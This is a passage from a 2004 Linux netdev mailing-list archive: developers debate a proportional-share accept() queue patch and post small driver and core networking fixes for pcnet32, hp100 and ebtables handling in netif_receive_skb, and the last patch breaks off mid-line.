(v1.0.0; list netdev); Wed, 25 Feb 2004 09:21:26 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1PHLNKO032632 for ; Wed, 25 Feb 2004 09:21:23 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1PHLGE24325; Wed, 25 Feb 2004 09:21:16 -0800 Date: Wed, 25 Feb 2004 09:21:16 -0800 From: Stephen Hemminger To: Vivek Kashyap Cc: netdev@oss.sgi.com Subject: Re: [PATCH] proportional share accept() Message-Id: <20040225092116.2081ddfb@dell_ss3.pdx.osdl.net> In-Reply-To: References: Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3571 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Just a cursory question, but would it be possible to just use iptables to classify the packets and assign them to different IP addresses. The the application could manage the priorities by opening two different sockets (bound to different IP addresses) and do the scheduling there? From davem@redhat.com Wed Feb 25 10:12:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 10:12:41 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1PICUKO001644 for ; Wed, 25 Feb 2004 10:12:30 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1PICQb09984; Wed, 25 Feb 2004 13:12:27 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1PICQi09749; Wed, 25 Feb 2004 13:12:26 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1PICNeF017048; Wed, 25 Feb 2004 13:12:23 -0500 Date: Wed, 25 Feb 2004 10:12:25 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: kashyapv@us.ibm.com, netdev@oss.sgi.com Subject: Re: [PATCH] proportional share accept() Message-Id: <20040225101225.496d02d0.davem@redhat.com> In-Reply-To: <20040225092116.2081ddfb@dell_ss3.pdx.osdl.net> References: <20040225092116.2081ddfb@dell_ss3.pdx.osdl.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3572 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 25 Feb 2004 09:21:16 -0800 Stephen Hemminger wrote: > Just a cursory question, but would it be possible to just use iptables > to classify the packets and assign them to different IP addresses. > The the application could manage the priorities by opening two different > sockets (bound to different IP addresses) and do the scheduling there? That's how I would attempt to implement this. I really don't like this idea of putting a pseudo-classifier in the accept queue logic, and an ugly GLOBAL one at that, if anything it ought to be per-socket but even that I don't like. From kashyapv@us.ibm.com Wed Feb 25 11:08:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 11:08:31 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1PJ8JKO003149 for ; Wed, 25 Feb 2004 11:08:26 -0800 Received: from westrelay05.boulder.ibm.com (westrelay05.boulder.ibm.com [9.17.193.33]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1PJ82Xd165680; Wed, 25 Feb 2004 14:08:02 -0500 Received: from DYN319495.beaverton.ibm.com (d03av01.boulder.ibm.com [9.17.193.81]) by westrelay05.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1PJ81b7088568; Wed, 25 Feb 2004 12:08:01 -0700 Date: Wed, 25 Feb 2004 11:07:48 -0800 (PST) From: kashyapv X-X-Sender: kashyapv@dyn319495.beaverton.ibm.com To: "David S. Miller" cc: Stephen Hemminger , Subject: Re: [PATCH] proportional share accept() In-Reply-To: <20040225101225.496d02d0.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3573 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kashyapv@us.ibm.com Precedence: bulk X-list: netdev It is a per socket scheduler not a global one. The control of the proportions is with the socket/application. The sysctl can be removed - even then it only initialises the socket's proportions individually. The default is to use only one queue. A user space solution forces existing applications to be modified. Additionally, it is not as efficient - If I understand the suggestion correctly the incoming request and data will have to be mangled both while coming in and going out if the client expects the reply from the same address it sent the conenction request to. Also, an in-kernel solution allows administrative control and tuning without affecting the applications at all. The administrator can as per the policy (which may change over time) modify the proportions using another interface. Otherwise, each application must provide a way to manage/modify its scheduler. Vivek On Wed, 25 Feb 2004, David S. Miller wrote: > On Wed, 25 Feb 2004 09:21:16 -0800 > Stephen Hemminger wrote: > > > Just a cursory question, but would it be possible to just use iptables > > to classify the packets and assign them to different IP addresses. > > The the application could manage the priorities by opening two different > > sockets (bound to different IP addresses) and do the scheduling there? > > That's how I would attempt to implement this. I really don't like this > idea of putting a pseudo-classifier in the accept queue logic, and an > ugly GLOBAL one at that, if anything it ought to be per-socket but even > that I don't like. > > > From davem@redhat.com Wed Feb 25 11:17:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 11:17:28 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1PJHOKO003740 for ; Wed, 25 Feb 2004 11:17:24 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1PJHKb01907; Wed, 25 Feb 2004 14:17:20 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1PJHKi01566; Wed, 25 Feb 2004 14:17:20 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1PJHGeF017448; Wed, 25 Feb 2004 14:17:17 -0500 Date: Wed, 25 Feb 2004 11:17:19 -0800 From: "David S. Miller" To: kashyapv Cc: shemminger@osdl.org, netdev@oss.sgi.com Subject: Re: [PATCH] proportional share accept() Message-Id: <20040225111719.4b99403a.davem@redhat.com> In-Reply-To: References: <20040225101225.496d02d0.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3574 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 25 Feb 2004 11:07:48 -0800 (PST) kashyapv wrote: > Also, an in-kernel solution allows administrative control and tuning > without affecting the applications at all. The administrator can as per > the policy (which may change over time) modify the proportions using another > interface. Otherwise, each application must provide a way to manage/modify > its scheduler. Since all of the classification we're suggesting is via the kernel, the administrator has the same kinds of controls and it is also without any application modifications. We're saying, to classify packets so that they get prioritized however you would have prioritized things in the accept queue (ie. mark SYN packets with address X as having priority Y). The let the packet scheduler or netfilter take care of the rest. From kashyapv@us.ibm.com Wed Feb 25 11:31:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 11:31:10 -0800 (PST) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1PJV0KO004450 for ; Wed, 25 Feb 2004 11:31:06 -0800 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.195.10]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1PJUkF4275106; Wed, 25 Feb 2004 14:30:47 -0500 Received: from DYN319495.beaverton.ibm.com (d03av01.boulder.ibm.com [9.17.193.81]) by westrelay01.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1PJUjLD122708; Wed, 25 Feb 2004 12:30:46 -0700 Date: Wed, 25 Feb 2004 11:30:32 -0800 (PST) From: kashyapv X-X-Sender: kashyapv@dyn319495.beaverton.ibm.com To: "David S. Miller" cc: shemminger@osdl.org, Subject: Re: [PATCH] proportional share accept() In-Reply-To: <20040225111719.4b99403a.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3575 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kashyapv@us.ibm.com Precedence: bulk X-list: netdev On Wed, 25 Feb 2004, David S. Miller wrote: > On Wed, 25 Feb 2004 11:07:48 -0800 (PST) > kashyapv wrote: > > > Also, an in-kernel solution allows administrative control and tuning > > without affecting the applications at all. The administrator can as per > > the policy (which may change over time) modify the proportions using another > > interface. Otherwise, each application must provide a way to manage/modify > > its scheduler. > > Since all of the classification we're suggesting is via the kernel, the > administrator has the same kinds of controls and it is also without any > application modifications. How do you change the scheduler's proportions? Not the classification itself which is controlled using iptables. > > We're saying, to classify packets so that they get prioritized however you > would have prioritized things in the accept queue (ie. mark SYN packets > with address X as having priority Y). The let the packet scheduler or > netfilter take care of the rest. In the in-kernel accept queues the netfilter MARKs it and the packet is queued to the relevant accept queue. Where and how is the packet getting queued to a differnt socket (address mangling?)? > > From shemminger@osdl.org Wed Feb 25 12:04:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 12:04:38 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1PK4PKO005397 for ; Wed, 25 Feb 2004 12:04:26 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1PK3oE22806; Wed, 25 Feb 2004 12:03:50 -0800 Date: Wed, 25 Feb 2004 12:03:50 -0800 From: Stephen Hemminger To: Vivek Kashyap Cc: netdev@oss.sgi.com, "David S. Miller" Subject: Re: [PATCH] proportional share accept() Message-Id: <20040225120350.499bc573@dell_ss3.pdx.osdl.net> In-Reply-To: References: <20040225092116.2081ddfb@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3576 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev On Wed, 25 Feb 2004 11:04:13 -0800 (Pacific Standard Time) Vivek Kashyap wrote: > Stephen, > > I've not understood your suggestion. How would you implement the solution? I assume the goal is to provide some high level of resource control over network utilization in a system. The accept proposal is part of more general problem of how to virtualize the network infrastructure and services to provide different QoS based on a set of parameters. Your assumption that server application is blind to all this. But the kind of applications that would need this resource control are already pretty smart (databases and web servers). So wouldn't you want the application to be involved. Imagine a database; wouldn't you want connections that come in with high priority to be scheduled in the database with high priority? Your solution seems like having an express line to get into Disneyland, but still ending up waiting for all the rides... It just seems to add more complexity, complexity isn't always bad; just something that should be avoided if possible. From brazilnut@us.ibm.com Wed Feb 25 12:08:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 12:08:50 -0800 (PST) Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1PK8iKO005873 for ; Wed, 25 Feb 2004 12:08:44 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e2.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1PK8a6s353956; Wed, 25 Feb 2004 15:08:36 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1PK8YJP129196; Wed, 25 Feb 2004 15:08:35 -0500 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1PK72s21655; Wed, 25 Feb 2004 12:07:02 -0800 From: Don Fry Message-Id: <200402252007.i1PK72s21655@DYN318364BLD.beaverton.ibm.com> Subject: [patch 2.4.25 14/15] pcnet32 another debug fix To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Wed, 25 Feb 2004 12:07:01 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3577 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev As requested, another fix for pcnet32_debug to have a bunch of bits in increasing order of verbosity, not just one bit. --- linux-2.4.25/drivers/net/24.pcnet32.c Mon Feb 23 13:56:29 2004 +++ linux-2.4.25/drivers/net/pcnet32.c Wed Feb 25 11:55:57 2004 @@ -1946,7 +1946,7 @@ printk(KERN_INFO "%s", version); if (debug >= 0 && debug < (sizeof(int) - 1)) - pcnet32_debug = 1 << debug; + pcnet32_debug = (1 << debug) - 1; if ((tx_start_pt >= 0) && (tx_start_pt <= 3)) tx_start = tx_start_pt; -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Wed Feb 25 12:12:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 12:12:08 -0800 (PST) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1PKC2KO006580 for ; Wed, 25 Feb 2004 12:12:03 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e1.ny.us.ibm.com (8.12.10/NS PXFA) with ESMTP id i1PKBsiK480078; Wed, 25 Feb 2004 15:11:54 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1PKBqJP134192; Wed, 25 Feb 2004 15:11:53 -0500 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1PKAPr21669; Wed, 25 Feb 2004 12:10:25 -0800 From: Don Fry Message-Id: <200402252010.i1PKAPr21669@DYN318364BLD.beaverton.ibm.com> Subject: [patch 2.4.25 15/15] pcnet32 non-mii link state fix To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Wed, 25 Feb 2004 12:10:25 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3578 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This patch correctly returns the link state of an adapter which does not have an MII. Tested by myself and the patch author Thomas Munck Steenholdt . --- linux-2.4.25/drivers/net/debug.pcnet32.c Wed Feb 25 11:55:25 2004 +++ linux-2.4.25/drivers/net/pcnet32.c Wed Feb 25 11:56:44 2004 @@ -521,13 +521,17 @@ { struct pcnet32_private *lp = dev->priv; unsigned long flags; - int r = 1; + int r; + spin_lock_irqsave(&lp->lock, flags); if (lp->mii) { - spin_lock_irqsave(&lp->lock, flags); r = mii_link_ok(&lp->mii_if); - spin_unlock_irqrestore(&lp->lock, flags); + } else { + ulong ioaddr = dev->base_addr; /* card base I/O address */ + r = (lp->a.read_bcr(ioaddr, 4) != 0xc0); } + spin_unlock_irqrestore(&lp->lock, flags); + return r; } -- Don Fry brazilnut@us.ibm.com From cacophonix@yahoo.com Wed Feb 25 13:33:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 13:33:52 -0800 (PST) Received: from web14006.mail.yahoo.com (web14006.mail.yahoo.com [216.136.175.122]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1PLXlKO012062 for ; Wed, 25 Feb 2004 13:33:47 -0800 Message-ID: <20040225213347.5491.qmail@web14006.mail.yahoo.com> Received: from [156.153.255.236] by web14006.mail.yahoo.com via HTTP; Wed, 25 Feb 2004 13:33:47 PST Date: Wed, 25 Feb 2004 13:33:47 -0800 (PST) From: Cacophonix Subject: Re: [PATCH] hp100 -- fixes for new probing. To: Stephen Hemminger Cc: netdev@oss.sgi.com In-Reply-To: <20040224170700.11adc3cc@dell_ss3.pdx.osdl.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 3579 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cacophonix@yahoo.com Precedence: bulk X-list: netdev Yes, this fixes the lockup issue (once I renamed addr to ioaddr in hp100_isa_probe1() to get it to compile. Thanks for the patch! Next order of business for me is to figure out why the ordering of device recognition of e100 and hp100 changed between 2.6.0-test* and 2.6.3-mm2 (in the former, hp100 started up first, while in the latter kernel e100 get's to load up first). I guess I could work around this in other ways, but it's a tad disconcerting when eth0, eth1 and eth2 decide to trade places every so often ;) Thanks again for the patch. cheers, karthik --- Stephen Hemminger wrote: > Does fix the problem? it checks for card before proceeding in hp100_isa_probe > > diff -Nru a/drivers/net/hp100.c b/drivers/net/hp100.c > --- a/drivers/net/hp100.c Tue Feb 24 17:05:54 2004 > +++ b/drivers/net/hp100.c Tue Feb 24 17:05:54 2004 > @@ -333,6 +333,11 @@ > > if (!request_region(addr, HP100_REGION_SIZE, "hp100")) > goto err; > + > + if (hp100_inw(HW_ID) != HP100_HW_ID_CASCADE) { > + release_region(addr, HP100_REGION_SIZE); > + goto err; > + } > > sig = hp100_read_id(addr); > release_region(addr, HP100_REGION_SIZE); __________________________________ Do you Yahoo!? Yahoo! Mail SpamGuard - Read only the mail you want. http://antispam.yahoo.com/tools From shemminger@osdl.org Wed Feb 25 13:40:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 13:40:48 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1PLegKO012502 for ; Wed, 25 Feb 2004 13:40:43 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1PLeaE07960; Wed, 25 Feb 2004 13:40:36 -0800 Date: Wed, 25 Feb 2004 13:40:36 -0800 From: Stephen Hemminger To: Cacophonix Cc: netdev@oss.sgi.com Subject: Re: [PATCH] hp100 -- fixes for new probing. Message-Id: <20040225134036.4132c060@dell_ss3.pdx.osdl.net> In-Reply-To: <20040225213347.5491.qmail@web14006.mail.yahoo.com> References: <20040224170700.11adc3cc@dell_ss3.pdx.osdl.net> <20040225213347.5491.qmail@web14006.mail.yahoo.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3580 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev On Wed, 25 Feb 2004 13:33:47 -0800 (PST) Cacophonix wrote: > > Yes, this fixes the lockup issue (once I renamed addr to ioaddr in hp100_isa_probe1() > to get it to compile. Thanks for the patch! > > Next order of business for me is to figure out why the ordering of device recognition > of e100 and hp100 changed between 2.6.0-test* and 2.6.3-mm2 (in the former, hp100 > started up first, while in the latter kernel e100 get's to load up first). I guess I > could work around this in other ways, but it's a tad disconcerting when eth0, eth1 > and eth2 decide to trade places every so often ;) > The naming is a function of initialization order which used to be fixed by a long list of legacy devices. Since the hp100 pci now probes like a proper PCI device, it will happen in a order defined by the load order (ie not well controlled). Learn to use nameif it will make your life simpler. From kashyapv@us.ibm.com Wed Feb 25 14:31:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 14:31:39 -0800 (PST) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1PMVRKO013619 for ; Wed, 25 Feb 2004 14:31:34 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1PMVGF4616764; Wed, 25 Feb 2004 17:31:16 -0500 Received: from DYN319495.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1PMVEwl074722; Wed, 25 Feb 2004 15:31:15 -0700 Date: Wed, 25 Feb 2004 14:31:00 -0800 (PST) From: kashyapv X-X-Sender: kashyapv@dyn319495.beaverton.ibm.com To: Stephen Hemminger cc: netdev@oss.sgi.com, "David S. Miller" Subject: Re: [PATCH] proportional share accept() In-Reply-To: <20040225120350.499bc573@dell_ss3.pdx.osdl.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3581 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kashyapv@us.ibm.com Precedence: bulk X-list: netdev On Wed, 25 Feb 2004, Stephen Hemminger wrote: > On Wed, 25 Feb 2004 11:04:13 -0800 (Pacific Standard Time) > Vivek Kashyap wrote: > > > Stephen, > > > > I've not understood your suggestion. How would you implement the solution? > > I assume the goal is to provide some high level of resource control over network utilization > in a system. The accept proposal is part of more general problem of how to virtualize > the network infrastructure and services to provide different QoS based on a set of > parameters. > > Your assumption that server application is blind to all this. But the kind of applications Not at all. The 'seeing' application has it much easier if it can set the prioritisation in the accept queue using this proposal. Makes it easier for the application to do what it does well rather than worry about another feature that rightfully needs to be a service (in the kernel). The 'blind' applcation can be affected in the desired way without modification using the in-kernel solution. > that would need this resource control are already pretty smart (databases and web servers). > So wouldn't you want the application to be involved. Imagine a database; wouldn't you want > connections that come in with high priority to be scheduled in the database with high priority? And that is what is being done quite efficiently as per the proposal. The higher priority request is picked more favourably than the lower-priority requests in accordance with the proportion set. The connections from addresses in range X can be classified as 'bronze' - 1, Y as silver - 2, and Z as gold -3. The weights are assigned/modified per socket. Now if the application is 'smart' and knows what to do, it can use the socket option to set/reset its shares. Alternatively, the admin keeps track of the traffic and response needs and accordingly tunes the proportions. The in-kernel solution is quite generic -- the change is only to the accept logic. In the case you suggest it is per application. How does the application become 'smart' is not clear. Mangling packets to queue to different ip addresses, if that is how the solution will work, is not a good idea. Also, it is a lot better to solve it in place rather than in every application that needs it. Vivek From simon@instant802.com Wed Feb 25 14:47:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 14:47:57 -0800 (PST) Received: from mail-gateway.instant802.com (smtp.instant802.com [66.93.138.219]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1PMlsKO014187 for ; Wed, 25 Feb 2004 14:47:54 -0800 Received: from cluck.instant802.com (inbound.instant802.com [66.93.138.213]) by mail-gateway.instant802.com (8.12.3/8.12.3/Debian-6.6) with SMTP id i1PMllI6017416; Wed, 25 Feb 2004 14:47:47 -0800 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 Subject: [PATCH 2.4.26-pre1] Allow ebtables module to change protocol in netif_receive_skb Date: Wed, 25 Feb 2004 14:47:41 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [PATCH 2.4.26-pre1] Allow ebtables module to change protocol in netif_receive_skb Thread-Index: AcP7H8r7liQMqexhSF+8GCI1T/Fy6gA0P82A From: "Simon Barber" To: "Kernel Mailing List" , Cc: "Bart De Schuymer" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1PMlsKO014187 X-archive-position: 3582 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: simon@instant802.com Precedence: bulk X-list: netdev Currently skb->protocol is read before the bridge is called, even though it's not used until after. Hence if an ebtables module changes the protocol of a frame the wrong protocol is interpreted. Simon Barber --- linux-2.4.26-pre1.orig/net/core/dev.c 2004-02-25 04:16:33.000000000 -0800 +++ linux-2.4.26-pre1/net/core/dev.c 2004-02-25 06:42:05.000000000 -0800 @@ -1462,7 +1462,7 @@ { struct packet_type *ptype, *pt_prev; int ret = NET_RX_DROP; - unsigned short type = skb->protocol; + unsigned short type; if (skb->stamp.tv_sec == 0) do_gettimeofday(&skb->stamp); @@ -1507,6 +1507,7 @@ } #endif + type = skb->protocol; for (ptype=ptype_base[ntohs(type)&15];ptype;ptype=ptype->next) { if (ptype->type == type && (!ptype->dev || ptype->dev == skb->dev)) { From simon@instant802.com Wed Feb 25 14:49:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 14:49:47 -0800 (PST) Received: from mail-gateway.instant802.com (smtp.instant802.com [66.93.138.219]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1PMnhKO014431 for ; Wed, 25 Feb 2004 14:49:44 -0800 Received: from cluck.instant802.com (inbound.instant802.com [66.93.138.213]) by mail-gateway.instant802.com (8.12.3/8.12.3/Debian-6.6) with SMTP id i1PMncI6017463; Wed, 25 Feb 2004 14:49:38 -0800 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 Subject: [PATCH 2.6.3-bk7] Allow ebtables module to change protocol in netif_receive_skb Date: Wed, 25 Feb 2004 14:49:32 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [PATCH 2.6.3-bk7] Allow ebtables module to change protocol in netif_receive_skb Thread-Index: AcP7H8r7liQMqexhSF+8GCI1T/Fy6gA0P82A From: "Simon Barber" To: "Kernel Mailing List" , Cc: "Bart De Schuymer" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1PMnhKO014431 X-archive-position: 3583 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: simon@instant802.com Precedence: bulk X-list: netdev Currently skb->protocol is read before the bridge is called, even though it's not used until after. Hence if an ebtables module changes the protocol of a frame the wrong protocol is interpreted. Simon Barber --- linux-2.6.3-bk7.orig/net/core/dev.c 2004-02-25 04:19:07.000000000 -0800 +++ linux-2.6.3-bk7/net/core/dev.c 2004-02-25 06:42:11.000000000 -0800 @@ -1725,7 +1725,7 @@ { struct packet_type *ptype, *pt_prev; int ret = NET_RX_DROP; - unsigned short type = skb->protocol; + unsigned short type; if (!skb->stamp.tv_sec) do_gettimeofday(&skb->stamp); @@ -1759,6 +1759,7 @@ if (__handle_bridge(skb, &pt_prev, &ret)) goto out; + type = skb->protocol; list_for_each_entry_rcu(ptype, &ptype_base[ntohs(type)&15], list) { if 